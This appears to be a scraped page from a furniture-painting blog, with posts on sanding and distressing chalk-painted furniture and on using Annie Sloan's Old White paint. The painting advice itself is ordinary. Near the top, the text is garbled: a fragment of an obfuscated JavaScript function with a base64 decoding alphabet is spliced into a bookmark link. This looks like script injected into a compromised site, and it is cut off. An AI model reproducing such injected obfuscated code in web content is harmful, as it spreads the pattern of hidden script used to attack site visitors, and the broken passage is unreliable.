furniture painting

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;/" rel="bookmark">…chalk paint refresher series: sanding

Okay, now we are headed into the more “artistic” area of the Chalk Paint look. It’s where you have the most freedom, but also the place where that freedom seems to intimidate people. There are no hard and fast rules, but I do have some guidelines to teach you.

Always keep this in mind – if you mess up then you just start over and try again. You can paint over every thing you just did including the paint and wax. This is your safety. Now, let’s experiment and try to create a distressed and storied piece!

In my opinion there is no point in using a product like Chalk Paint if you are not going to sand and wear the edges. This is the point in my opinion and the effect is awesome. Do not cheat yourself of a great look for your home by not trying this stage in the process.

What to use.

Buy a 3M sanding block. This is the name of the company & not the size! hahaha. If you’ve watched my tutorials you will understand this inside joke! FYI, here’s the link for reference. http://www.youtube.com/user/blueeggbrownnest

Then you want to use fine sand paper, 100 grade. Attach it to your sanding block.

How.

There is a rhyme and reason to where and how I sand. You DO NOT want to do crazy on a flat surface! Instead, start at your edges and sand a bit here and there. Corners are also a great place to sand. If I have a dresser I will pull open each drawer and sand either a corner or flat edge and then do the opposite on the next drawer and so on and so on. Sometimes less is more so don’t go nuts here.

Light or Heavy.

I really try to take in the look & age & color of the piece when deciding how much or little to sand. The pieces below were more cottage in feel and I did them in Old White. I felt like they needed a good rub to look shabby enough for me. You will see that they are heavily distressed. I realize this look is not for everyone, but I think it gives a really unique look to your white pieces.

Clean Up.

An important step not to be missed is taking a large DRY brush and wiping away all the dust. You do not want this sitting on top of your piece as it will ruin your piece once you wax.

Note: I sand my piece after I paint. It is more efficient and you don’t have to worry about the sand particles in the wax. Clear wax comes AFTER the sanding in the Blue Egg Brown Nest way!

Enjoying the refresher course? There will be a test at the end. Just kidding! If you are enjoying, pass along to your painting pals!

…all about Old White

If you ask this 4 year old if white is a color her answer would be no. The white crayon does not make a color on her construction paper like, say, the red one does….or like a red crayon shows up on a wall, which she knows something about. Of course she is a bit more feisty than the average. White is actual an awesome color, particularly Annie Sloan’s Old White.

Annie Sloan Old White is more versatile than any of her colors because you can create so many looks with it. It can be a clean look, white-washed, or my personal favorite tea-stained & shabby. I decided to do another video tutorial on Old White. Hope it’s helpful.

Here are some more examples from Blue Egg:

Shabby & antiqued.

There’s no dark wax on this dresser so it’s a bit of a cleaner look. Very little sanding.

Heavy sanding & distressing on this amoire.

One thing you should know that when you work with Old White is that the distressing process will be much more prominent because you are doing it to a light color. If you use dark wax you need to know that it will be DARK in those areas where applied. If you sand the piece the contrast of the wood and the white paint will make the piece look super shabby. It will be a county, shabby look, which I love. Keeping in mind that when you decide to chalk paint a piece you do not want it to look too clean and white and perfect. If you wanted that they you would go to Pottery Barn or Ikea for a dipped piece. The distressing on a white piece will make it storied & unique. Embrace it!

Another tip to note is that if you, say, have a black piece that you want to chalk paint white, know that when you sand the piece to distress it you will get shades of raw wood and then that black coming through. If it’s black, it will look weathered and cool. If it’s, say, red underneath and you don’t want any red in the room you’ll be putting that piece in DO NOT sand it. Just use the dark wax in the crevices. You know what I mean?

Got Questions? I’ll compile & post next week.

xoxo